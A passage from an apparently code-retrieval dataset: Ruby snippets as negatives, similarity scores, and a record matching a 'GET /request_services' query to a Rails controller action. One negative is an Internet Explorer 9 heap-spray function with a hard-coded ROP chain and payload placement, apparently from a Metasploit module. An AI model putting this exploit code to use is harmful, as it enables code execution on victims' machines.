"def _reduce_643(val, _values, result)\n yyerrok\n result\nend",
"def _reduce_649(val, _values, result)\n yyerrok\n result\nend",
"def _reduce_649(val, _values, result)\n yyerrok\n result\nend",
"def _reduce_649(val, _values, result)\n yyerrok\n result\nend",
"def _reduce_649(val, _values, result)\n yyerrok\n result\nend",
"def _reduce_596(val, _values, result)\n yyerrok\n \n result\nend",
"def multi; end",
"def ie9_spray(t, p)\r\n js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(t.arch))\r\n js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(t.arch))\r\n\r\n js = %Q|\r\n\r\n function rop_chain(jutil_base){\r\n var arr = [\r\n Number(Math.floor(Math.random()*0xffffffff)),\r\n Number(0x0c0c0c0c),\r\n Number(0x0c0c0c0c),\r\n Number(0x0c0c0c1c),\r\n Number(0x0c0c0c24),\r\n Number(0x0c0c0c28),\r\n Number(Math.floor(Math.random()*0xffffffff)),\r\n Number(Math.floor(Math.random()*0xffffffff)),\r\n Number(0x0c0c0c0c),\r\n Number(0x0c0c0c3c),\r\n jutil_base + Number(0x00212f17),\r\n jutil_base + Number(0x000a5843),\r\n Number(0x0c0c0c34),\r\n jutil_base + Number(0x5de121),\r\n jutil_base + Number(0x20ca),\r\n jutil_base + Number(0x4bebeb),\r\n jutil_base + Number(0x4c03d2),\r\n jutil_base + Number(0x1be314),\r\n jutil_base + Number(0xac8e8),\r\n jutil_base + Number(0xe1859),\r\n Number(0x00000201),\r\n jutil_base + Number(0x219cf9),\r\n Number(0x00000040),\r\n jutil_base + Number(0x182e50),\r\n jutil_base + Number(0x4f5217),\r\n jutil_base + Number(0xe2fd1),\r\n jutil_base + Number(0x1339db),\r\n jutil_base + Number(0x202439),\r\n Number(0x90909090),\r\n jutil_base + Number(0x4fcfe3)\r\n ];\r\n return arr;\r\n }\r\n\r\n function d2u(dword){\r\n var uni = String.fromCharCode(dword & 0xFFFF);\r\n uni += String.fromCharCode(dword>>16);\r\n return uni;\r\n }\r\n\r\n function tab2uni(tab){\r\n var uni = \"\"\r\n for(var i=0;i<tab.length;i++){\r\n uni += d2u(tab[i]);\r\n }\r\n return uni;\r\n }\r\n\r\n function randomblock(blocksize)\r\n {\r\n var theblock = \"\";\r\n for (var i = 0; i < blocksize; i++)\r\n {\r\n theblock += Math.floor(Math.random()*90)+10;\r\n }\r\n return theblock;\r\n }\r\n\r\n function tounescape(block)\r\n {\r\n var blocklen = block.length;\r\n var unescapestr = \"\";\r\n for (var i = 0; i < blocklen-1; i=i+4)\r\n {\r\n unescapestr += \"%u\" + block.substring(i,i+4);\r\n }\r\n return unescapestr;\r\n }\r\n\r\n var heap_obj = new heapLib.ie(0x10000);\r\n var code = unescape(\"#{js_code}\");\r\n var nops = unescape(\"#{js_random_nops}\");\r\n\r\n function heap_spray(jutil_base) {\r\n while (nops.length < 0x80000) nops += nops;\r\n var offset_length = #{t['Offset']};\r\n for (var i=0; i < 0x1000; i++) {\r\n var padding = unescape(tounescape(randomblock(0x1000)));\r\n while (padding.length < 0x1000) padding+= padding;\r\n var junk_offset = padding.substring(0, offset_length);\r\n var rop = tab2uni(rop_chain(jutil_base));\r\n var single_sprayblock = junk_offset + rop + code + nops.substring(0, 0x800 - rop.length - code.length - junk_offset.length);\r\n while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;\r\n sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);\r\n heap_obj.alloc(sprayblock);\r\n }\r\n }\r\n |\r\n return js\r\n end",
"def _reduce_784(val, _values, result)\n yyerrok\n result\nend",
"def _reduce_574(val, _values, result)\n yyerrok \n result\nend",
"def _reduce_485(val, _values, result)\n identifier = val[1].to_sym\n\n self.env[identifier] = :lvar\n result = s(:block_arg, identifier.to_sym)\n \n result\nend",
"def _reduce_485(val, _values, result)\n identifier = val[1].to_sym\n\n self.env[identifier] = :lvar\n result = s(:block_arg, identifier.to_sym)\n \n result\nend",
"def _reduce_439(val, _values, result)\n _, klasses, var, _, body, rest = val\n\n klasses ||= s(:array)\n klasses << node_assign(var, s(:gvar, :\"$!\")) if var\n\n result = new_resbody(klasses, body)\n result << rest if rest # UGH, rewritten above\n \n result\nend",
"def _reduce_439(val, _values, result)\n _, klasses, var, _, body, rest = val\n\n klasses ||= s(:array)\n klasses << node_assign(var, s(:gvar, :\"$!\")) if var\n\n result = new_resbody(klasses, body)\n result << rest if rest # UGH, rewritten above\n \n result\nend",
"def _reduce_484(val, _values, result)\n identifier = val[1].to_sym\n\n self.env[identifier] = :lvar\n result = s(:block_arg, identifier.to_sym)\n \n result\nend",
"def _reduce_439(val, _values, result)\n result = new_dsym val[1]\n \n result\nend",
"def process_rlist exp\n process_all exp\n end",
"def process_rlist exp\n process_all exp\n end",
"def _reduce_116(val, _values, result)\n result = @builder.symbol_internal(val[0])\n \n result\nend",
"def _reduce_116(val, _values, result)\n result = @builder.symbol_internal(val[0])\n \n result\nend",
"def _reduce_6(val, _values, result)\n paint \"3) Reached Expression : #{val[0]}\\n\" , :yellow \n result\nend",
"def _reduce_645(val, _values, result)\n yyerrok\n result\nend",
"def _reduce_645(val, _values, result)\n yyerrok\n result\nend",
"def _reduce_645(val, _values, result)\n yyerrok\n result\nend",
"def _reduce_124(val, _values, result)\n result = @builder.symbol_internal(val[0])\n \n result\nend",
"def _reduce_577(val, _values, result)\n yyerrok \n result\nend",
"def _reduce_121(val, _values, result)\n result = @builder.symbol_internal(val[0])\n \n result\nend",
"def get_finalize()\n finalize_js = <<-'END_OF_FINALIZE'\n function(key, val) {\n var newval = {}\n newval[\"total\"] = 0\n print (val.toSource())\n for (command in val) {\n// print (\"val[\"+command+\"] = \"+ val[\"command\"])\n newval[command] = val[command]\n newval[\"total\"] += val[command]\n }\n return (newval);\n }\n END_OF_FINALIZE\n \nreturn finalize_js\n \nend",
"def _reduce_111(val, _values, result)\n result = @builder.symbol_internal(val[0])\n \n result\nend",
"def _reduce_642(val, _values, result)\n yyerrok\n result\nend",
"def _reduce_642(val, _values, result)\n yyerrok\n result\nend",
"def _reduce_346(val, _values, result)\n result = @builder.arg(val[0])\n \n result\nend",
"def _reduce_724(val, _values, result)\n yyerrok\n \n result\nend",
"def _reduce_549(val, _values, result)\n yyerrok\n \n result\nend",
"def _reduce_596(val, _values, result)\n yyerrok\n\n result\nend",
"def _reduce_651(val, _values, result)\n yyerrok\n result\nend"
] |
[
"0.56891155",
"0.55999136",
"0.55999136",
"0.55566823",
"0.55215466",
"0.5519974",
"0.55083555",
"0.5480621",
"0.54275924",
"0.5418251",
"0.54147154",
"0.54039013",
"0.5402955",
"0.54006934",
"0.5390441",
"0.5383393",
"0.5374907",
"0.53552896",
"0.53438586",
"0.53270423",
"0.52912533",
"0.52900076",
"0.5283181",
"0.5278553",
"0.5267222",
"0.5250576",
"0.52465856",
"0.5243899",
"0.5237836",
"0.5236025",
"0.5233798",
"0.5233798",
"0.5233798",
"0.5224964",
"0.5219533",
"0.52090013",
"0.5204698",
"0.51915234",
"0.5187864",
"0.5182564",
"0.517256",
"0.5164487",
"0.5159913",
"0.51569283",
"0.5151335",
"0.5144271",
"0.5144141",
"0.5143198",
"0.51280206",
"0.51273763",
"0.5122295",
"0.5119103",
"0.5104287",
"0.510146",
"0.51005995",
"0.50816774",
"0.5078423",
"0.50755024",
"0.50583917",
"0.50493264",
"0.5045082",
"0.5043922",
"0.50396603",
"0.5036104",
"0.5036104",
"0.5036104",
"0.5026055",
"0.5026055",
"0.5026055",
"0.5026055",
"0.50237167",
"0.5021266",
"0.50207716",
"0.5013195",
"0.5010528",
"0.50054795",
"0.50054795",
"0.50041676",
"0.50041676",
"0.50028676",
"0.49996594",
"0.49985436",
"0.49985436",
"0.49878302",
"0.49878302",
"0.4983926",
"0.49755716",
"0.49755716",
"0.49755716",
"0.49730083",
"0.49726778",
"0.49699658",
"0.49686503",
"0.4966493",
"0.4964568",
"0.4964568",
"0.49575484",
"0.49563122",
"0.49482304",
"0.49475983",
"0.49455103"
] |
0.0
|
-1
|
GET /request_services GET /request_services.json
|
def index
@request_services = RequestService.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def service_request(service); end",
"def index\n endpoint(get(services_url).body)\n end",
"def services\n params = { command: 'account_services' }\n get('/json.php', params)\n end",
"def services(query = {})\n get('service', query)\n end",
"def service(id)\n request :get, \"/services/#{id}\"\n end",
"def list_services\n response = @http_client.get(prefix_path('services'))\n Response.new(response)\n end",
"def user_service_request\n @service_requests = @user.get_user_service_requests(@page)\n end",
"def service_requests_list\n @service_requests = ServiceRequest.get_all_service_requests(@page)\n end",
"def index\n @service_requests = ServiceRequest.all\n end",
"def request(service, method = :get, payload = {})\n res = Infosimples::Data::HTTP.request(\n url: BASE_URL.gsub(':service', service),\n http_timeout: timeout,\n method: method,\n payload: payload.merge(\n token: token,\n timeout: timeout,\n max_age: max_age,\n header: 1\n )\n )\n JSON.parse(res)\n end",
"def get_services\n reply = @client.call(:get_services)\n\n data = reply.body.dig(:get_services_response,\n :get_services_result,\n :array_of_string)\n data = check_if_data_exists(data)\n\n data.map do |attrs|\n {\n id: Integer(attrs[:string][0], 10),\n name: attrs[:string][1]\n }\n end\n end",
"def list_services(client, args, options)\n response = client.get(RESOURCE_PATH)\n\n if CloudClient::is_error?(response)\n [response.code.to_i, response.to_s]\n else\n #[0,response.body]\n if options[:json]\n [0,response.body]\n else\n array_list = JSON.parse(response.body)\n SERVICE_TABLE.show(array_list['DOCUMENT_POOL']['DOCUMENT'])\n 0\n end\n end\nend",
"def services\n response = JSON.parse(@client.get(\"/api/v1/services\").body)\n return response[\"services\"] || response\n end",
"def get_services()\n return get_request(address(\"/OS-KSADM/services\"), token())\n end",
"def get(service = [])\n begin \n url = API_ENDPOINT + service.join('/')\n hdrs = auth_headers()\n puts \"Headers: #{hdrs}\"\n \n response = RestClient.get(url, hdrs)\n raise \"request failed with #{response.code}\" unless response.code == 200\n \n json_hash = JSON.parse(response)\n \n rescue RestClient::Exception => e\n error_hash = JSON.parse(e.response)\n end\n end",
"def list_services request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_services_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::Metastore::V1::ListServicesResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def services\n Rails.logger.debug 'Inside service'\n @result_json = {}\n begin\n action = params[:do]\n case action\n when 'login'\n Rails.logger.debug 'Processing login'\n @result_json = login\n when 'register'\n Rails.logger.debug 'Processing registration'\n @result_json = register\n when 'save_linkedin_profile'\n Rails.logger.debug 'Saving Linkedin Profile'\n @result_json = save_linkedin_profile\n when 'get_dim_data'\n dim_type = params[:dim_type]\n Rails.logger.debug \"Getting dimension data - #{dim_type}\"\n @result_json = get_dim_data (dim_type)\n when 'get_filter_data'\n filter_data = params[:filter_data]\n columns = params[:columns]\n Rails.logger.debug \"Getting Filter data - #{filter_data}\"\n @result_json = get_filter_data(filter_data, columns)\n else\n Rails.logger.warn 'Unsupported service call'\n end\n rescue\n Rails.logger.error \"Error in service method #{$!}\"\n ensure\n render json: @result_json\n end\n end",
"def get_services_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PricesApi.get_services ...'\n end\n # resource path\n local_var_path = '/v1/services'\n\n # query parameters\n query_params = {}\n query_params[:'provider_id'] = opts[:'provider_id'] if !opts[:'provider_id'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Services')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PricesApi#get_services\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n duration_hash = {}\n \n sub_sub_category = OneclickRefernet::SubSubCategory.find_by(code: params[:sub_sub_category])\n sub_sub_category_services = sub_sub_category.try(:services) || []\n\n # Base service queries on a collection of UNIQUE services\n services = OneclickRefernet::Service.confirmed.where(id: sub_sub_category_services.pluck(:id).uniq)\n \n lat, lng = params[:lat], params[:lng]\n meters = params[:meters].to_f\n limit = params[:limit] || 10\n \n if lat && lng\n meters = meters > 0.0 ? meters : (30 * 1609.34) # Default to 30 miles\n \n services = services.closest(lat, lng)\n .within_x_meters(lat, lng, meters)\n .limit(limit) \n duration_hash = build_duration_hash(params, services)\n else\n services = services.limit(limit)\n end\n \n render json: services.map { |svc| service_hash(svc, duration_hash) }\n\n end",
"def add_service(service={})\n request :post, '/services', service\n end",
"def service_list\n uri = URI.parse(@url)\n http = Net::HTTP.new(uri.host, uri.port, @proxy_addr, @proxy_port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Get.new(uri.request_uri)\n request.basic_auth user, passwd\n request.add_field 'X-ID-TENANT-NAME', id_domain\n http.request(request)\n end",
"def index\n @services = Service.find_all_by_user_id(current_user.account_id)\n\n respond_to do |format|\n format.html # index.html.haml\n format.json { render json: @services }\n end\n end",
"def services\n\n end",
"def get_json()\n\n http = Net::HTTP.new(STATUS_URI.host, STATUS_URI.port)\n http.use_ssl = false\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Get.new(\"/api/services.json\")\n\n response = http.request(request)\n JSON.parse(response.body)\nend",
"def partner_service_request\n @service_requests = @user.get_partner_service_requests(@page)\n end",
"def services\n services = @saloon.services\n\n render_success(data: services, each_serializer: ServiceSerializer)\n end",
"def acl_services\n authorize!(:view_service_acl)\n\n validate_params({\n :client_id => [:required]\n })\n\n client = get_client(params[:client_id])\n\n services = {}\n client.wsdl.each do |wsdl|\n wsdl.service.each do |service|\n services[service.serviceCode] = {\n :service_code => service.serviceCode,\n :title => service.title\n }\n end\n end\n\n services_sorted = services.values.sort do |x, y|\n x[:service_code] <=> y[:service_code]\n end\n\n render_json(services_sorted)\n end",
"def services\n end",
"def list_services_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ServiceApi.list_services ...'\n end\n # unbox the parameters from the hash\n if @api_client.config.client_side_validation && !opts[:'per_page'].nil? && opts[:'per_page'] > 100\n fail ArgumentError, 'invalid value for \"opts[:\"per_page\"]\" when calling ServiceApi.list_services, must be smaller than or equal to 100.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'per_page'].nil? && opts[:'per_page'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"per_page\"]\" when calling ServiceApi.list_services, must be greater than or equal to 1.'\n end\n\n allowable_values = [\"ascend\", \"descend\"]\n if @api_client.config.client_side_validation && opts[:'direction'] && !allowable_values.include?(opts[:'direction'])\n fail ArgumentError, \"invalid value for \\\"direction\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/service'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'per_page'] = opts[:'per_page'] if !opts[:'per_page'].nil?\n query_params[:'sort'] = opts[:'sort'] if !opts[:'sort'].nil?\n query_params[:'direction'] = opts[:'direction'] if !opts[:'direction'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'Array<ServiceListResponse>'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['token']\n\n new_options = opts.merge(\n :operation => :\"ServiceApi.list_services\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ServiceApi#list_services\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def list_services request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_services_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::ServiceDirectory::V1beta1::ListServicesResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def index\n @services = @page.services.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @services }\n end\n end",
"def show\n respond_to do |format|\n format.json { render json: @service_call }\n end\n end",
"def query_for_services(type = nil, pool = nil)\n\n raise \"Type must not be nil if pool is nil\" if type.nil? && !pool.nil?\n\n @discovery_urls.each do |discovery_url|\n resource = \"/v1/service\"\n resource += \"/#{type}\" if ! type.nil?\n resource += \"/#{pool}\" if ! pool.nil?\n\n service_uri = URI.parse(discovery_url).merge(resource)\n\n @logger.debug(\"Get Request: #{service_uri.to_s}\")\n\n begin\n response = @client.get(service_uri.to_s, nil, nil)\n\n if response.status >= 200 && response.status <= 299\n service_data = JSON.parse(response.body)\n\n return service_data\n end\n\n @logger.error(\"#{service_uri.to_s}: Response Status #{response.status}\")\n @logger.error(response.body)\n\n rescue\n @logger.error(\"#{service_uri.to_s}: #{$!}\")\n end\n\n end\n\n raise \"Failed to get all services from any of [ #{@discovery_urls.join(\",\")} ]\"\n\n end",
"def create\n @request_service = RequestService.new(request_service_params)\n\n respond_to do |format|\n if @request_service.save\n format.html { redirect_to requests_path, notice: 'Request service was successfully created.' }\n format.json { render :show, status: :created, location: @request_service }\n else\n format.html { render :new }\n format.json { render json: @request_service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def service_type_name\n \"REST\"\n end",
"def service_params\n params[:service]\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service }\n end\n end",
"def lookup_services(extension, arg)\n extension += \"/#{arg}\"\n uri = URI.parse(API_URL + extension)\n response = connect(uri)\n puts response.body\n end",
"def show\n render json: @service\n end",
"def index\n @per_page_options = %w{ 21 51 99 }\n respond_to do |format|\n format.html # index.html.erb\n format.xml # index.xml.builder\n format.atom # index.atom.builder\n format.json { render :json => ServiceCatalographer::Api::Json.index(\"services\", json_api_params, @services).to_json }\n format.bljson { render :json => ServiceCatalographer::Api::Bljson.index(\"services\", @services).to_json }\n end\n end",
"def ajax_service_point\n sp_id = params['sp_id']\n url = ENV['OKAPI_URL']\n tenant = ENV['OKAPI_TENANT']\n sp = CUL::FOLIO::Edge.service_point(url, tenant, folio_token, sp_id)\n render json: sp\n end",
"def services\n\tend",
"def show\n @service = Service.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service }\n end\n end",
"def show\n @service = Service.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service }\n end\n end",
"def show\n @service = Service.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service }\n end\n end",
"def index\n @service_users = ServiceUser.all\n render json: @service_users\n end",
"def set_request_service\n @request_service = RequestService.find(params[:id])\n end",
"def register_services(request)\n return unless request.is_a? RestfulRequest\n @active_requests[request.id][:arduino_responses][request.address[:name]].match /^(?:[A-Za-z].*\\n)*([\\[|\\{](?:.*\\n*)*)\\n/\n return unless services_json = $1\n\n JSON.parse(services_json).each do |services|\n services[\"resource_name\"].match /(^\\D*)(?:_\\d)*$/\n return unless service_type_name = $1\n puts_debug \"[Controller:register_services] current resource name matched '#{$1}'\"\n \n # get service id by finding existing service id, or adding a new service if needed \n service_id = get_service_id(service_type_name)\n new_instance = {name: services[\"resource_name\"], \n post_enabled: services[\"post_enabled\"],\n range_min: services[\"range\"][\"min\"],\n range_max: services[\"range\"][\"max\"],\n device_id: request.address[:device_id], service_type_id: service_id}\n ::ArduinoGateway::Model::ModelTemplates::ResourceInstance.new new_instance \n end\n end",
"def show\n @service = current_user.pro.services.find(params[:id])#Service.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service }\n end\n end",
"def get_service request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_get_service_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::Metastore::V1::Service.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def show\n @service = Service.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service }\n end\n end",
"def index\n @call_services = CallService.all\n end",
"def index\n @requests = Request.all\n\n render json: @requests\n end",
"def get_service request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_get_service_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::ServiceDirectory::V1beta1::Service.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def list_requests\n # stub\n end",
"def services\n ret = []\n offset = 0\n loop do\n cur = get(\"services?limit=#{PAGINATION_SIZE}&offset=#{offset}\")\n offset += PAGINATION_SIZE\n ret.push *cur.services\n break if offset >= cur.total\n end\n ret\n end",
"def url\n resource.url + '/services'\n end",
"def index\n services = accessible_services.includes(:proxy, :account).order(:id).paginate(pagination_params)\n respond_with(services)\n end",
"def index\n services = accessible_services.includes(:proxy, :account).order(:id).paginate(pagination_params)\n respond_with(services)\n end",
"def find_service(id)\n self.class.get(\"/services/#{id}.json?apikey=#{apikey}\")\n end",
"def list_services\n @services\n end",
"def requested\n requested_params = {\n external_code: params[:id],\n company_id: params[:company][:id],\n company_name: params[:company][:name],\n recruiter_id: params[:recruiter][:id],\n recruiter_name: params[:recruiter][:name],\n applicant_id: params[:applicant][:id],\n applicant_name: params[:applicant][:name],\n job_id: params[:job][:id],\n job_title: params[:job][:title],\n status: params[:status]\n }\n\n @service = Service.new(requested_params)\n\n if @service.save\n render json: { status: :created }, status: :created\n else\n render json: @service.errors, status: :unprocessable_entity\n end\n end",
"def service\r\n channels = Channel.where(service: channel_params[:service])\r\n render json: channels\r\n end",
"def get_calls(service)\n\t\treturn @transport.get_path(\"calls\",service)\n\tend",
"def show\n #@service is already loaded and authorized\n\n respond_to do |format|\n format.html # show.html.haml\n format.json { render json: @service }\n end\n end",
"def get_requests\r\n \trequests = []\r\n privates = []\r\n privates_end = []\r\n publics = []\r\n\r\n \tservice = User.find_by(id: params[:user_id]).service\r\n \tif service\r\n \t\t#solicitudes con el id del servicio del usuario\r\n \t\t#requests = Request.where(\"(service_id = :service_id) or (service_id is null and service_type = 'ALL' and payment_method = 'ALL' and vehicle_type = 'ALL') or (service_id is null and service_type = 'ALL' and payment_method = 'ALL' and vehicle_type = :vehicle_type) or (service_id is null and service_type = 'ALL' and payment_method = :payment_method and vehicle_type = :vehicle_type) or (service_id is null and service_type = :service_type and payment_method = 'ALL' and vehicle_type = 'ALL') or (service_id is null and service_type = :service_type and payment_method = :payment_method and vehicle_type = 'ALL') or (service_id is null and service_type = 'ALL' and payment_method = :payment_method and vehicle_type = 'ALL') or (service_id is null and service_type = :service_type and payment_method = 'ALL' and vehicle_type = :vehicle_type) or (service_id is null and service_type = :service_type and payment_method = :payment_method and vehicle_type = :vehicle_type)\",{service_id: service.id, service_type: service.service_type, payment_method: service.payment_method, vehicle_type: service.vehicle_type}).order('created_at DESC').limit(20)\r\n privates = Request.where(\"(service_id = :service_id and status='') or (service_id = :service_id and status='0') or (service_id = :service_id and status='1')\",{service_id: service.id}).order('created_at DESC')\r\n privates_end = Request.where(\"(service_id = :service_id and status='2') or (service_id = :service_id and status='3')\",{service_id: service.id}).order('created_at DESC').limit(20)\r\n publics = Request.where(\"(service_id is null and service_type = 'ALL' and payment_method = 'ALL' and vehicle_type = 'ALL') or (service_id is null and service_type = 'ALL' and payment_method = 'ALL' and vehicle_type = :vehicle_type) or (service_id is null and service_type = 'ALL' and payment_method = :payment_method and vehicle_type = :vehicle_type) or (service_id is null and service_type = :service_type and payment_method = 'ALL' and vehicle_type = 'ALL') or (service_id is null and service_type = :service_type and payment_method = :payment_method and vehicle_type = 'ALL') or (service_id is null and service_type = 'ALL' and payment_method = :payment_method and vehicle_type = 'ALL') or (service_id is null and service_type = :service_type and payment_method = 'ALL' and vehicle_type = :vehicle_type) or (service_id is null and service_type = :service_type and payment_method = :payment_method and vehicle_type = :vehicle_type)\",{service_id: service.id, service_type: service.service_type, payment_method: service.payment_method, vehicle_type: service.vehicle_type}).order('created_at DESC').limit(20)\r\n requests = privates + privates_end + publics\r\n \telse\r\n \t\trequests = Request.where(user_id: params[:user_id]).order('created_at DESC').limit(20)\r\n \tend\r\n \t\r\n \trender json: requests\r\n end",
"def get endpoint\n do_request :get, endpoint\n end",
"def query_service(service)\n #remove on production/create testing case?\n resp = @client.get_content(service)\n @@logger.debug \"Service succesfully queried\"\n\n return resp\n end",
"def service(service_id)\n response = @client.get(\"/api/v1/services/#{service_id}\")\n return JSON.parse(response.body)\n end",
"def servers(service_id)\n request :get, \"/services/#{service_id}/servers\"\n end",
"def servicio # :doc\n id = params[:service_id]\n if id.present?\n \t\tService.find(params[:service_id]) \n \tend \n end",
"def types_of_service(params, options = {})\n path = \"#{base_uri(params)}/patient_documents\"\n path << current_if_specified_in(params)\n path << '/type_of_service_extension'\n request(path, options).to_hash\n end",
"def services\n begin\n resp = _get build_agent_url('services')\n rescue\n logger.warn('Unable to request all the services on this through the HTTP API')\n return nil\n end\n # Consul returns id => ConsulServiceObjects.\n s_hash = JSON.parse(resp)\n s_hash.keys.map { |n| Consul::Model::Service.new.extend(Consul::Model::Service::Representer).from_hash(s_hash[n]) }\n end",
"def service_points(request)\n return restricted_service_point_options(request) if request.restricted_pickup_service_points.present?\n\n service_point_options(request)\n end",
"def index\n @hospital = Hospital.find(params[:hospital_id])\n @service_requests = @hospital.service_request.all\n end",
"def api_v11_clusters_cluster_name_services_service_name_nameservices_get_with_http_info(service_name, cluster_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi#api_v11_clusters_cluster_name_services_service_name_nameservices_get ...\"\n end\n \n # verify the required parameter 'service_name' is set\n fail \"Missing the required parameter 'service_name' when calling api_v11_clusters_cluster_name_services_service_name_nameservices_get\" if service_name.nil?\n \n # verify the required parameter 'cluster_name' is set\n fail \"Missing the required parameter 'cluster_name' when calling api_v11_clusters_cluster_name_services_service_name_nameservices_get\" if cluster_name.nil?\n \n # resource path\n path = \"/api/v11/clusters/{clusterName}/services/{serviceName}/nameservices\".sub('{format}','json').sub('{' + 'serviceName' + '}', service_name.to_s).sub('{' + 'clusterName' + '}', cluster_name.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'view'] = opts[:'view'] if opts[:'view']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = []\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_v11_clusters_cluster_name_services_service_name_nameservices_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def list_tenants_for_circles(args = {}) \n get(\"/tenants.json/circles\", args)\nend",
"def request_service_params\n params.require(:request_service).permit(:service_id, :request_id)\n end",
"def index\n respond_to do |format|\n format.html { disable_action }\n format.xml # index.xml.builder\n format.json { render :json => ServiceCatalographer::Api::Json.index(\"rest_services\", json_api_params, @rest_services).to_json }\n end\n end",
"def index\n @services = Service.all.order('created_at DESC')\n render json: @services\n end",
"def service_types\n get_info :service_types\n end",
"def index\n prepare_search\n @services = paginate_services(@services, RECORDS_PER_PAGE, params[:page])\n render partial: '/partials/service_list' if request.xhr?\n end",
